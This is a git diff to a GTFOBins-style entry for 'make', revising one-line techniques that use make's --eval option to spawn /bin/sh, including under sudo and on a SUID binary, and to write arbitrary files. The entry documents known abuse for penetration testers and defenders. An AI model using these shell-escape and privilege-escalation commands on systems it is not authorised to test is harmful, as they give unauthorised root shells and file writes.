diff --git a/_gtfobins/make.md b/_gtfobins/make.md index fb38728..1dc4451 100644 --- a/_gtfobins/make.md +++ b/_gtfobins/make.md @@ -2,22 +2,18 @@ functions: execute-interactive: - code: | - COMMAND='/bin/sh 1>&2' - make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:' - execute-non-interactive: - - code: | - COMMAND=/usr/bin/id - make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:' + COMMAND='/bin/sh' + make -s --eval=$'x:\n\t-'"$COMMAND" sudo-enabled: - code: | - COMMAND=/usr/bin/id - sudo make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:' + COMMAND='/bin/sh' + sudo make -s --eval=$'x:\n\t-'"$COMMAND" suid-enabled: - code: | - COMMAND=/usr/bin/id - ./make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:' + COMMAND='/bin/sh' + ./make -s --eval=$'x:\n\t-'"$COMMAND" file-write: - code: | LFILE=file_to_write - make -s --eval="a := \$(file >$LFILE,data)" --eval='all:' + make -s --eval="\$(file >$LFILE,data)" . ---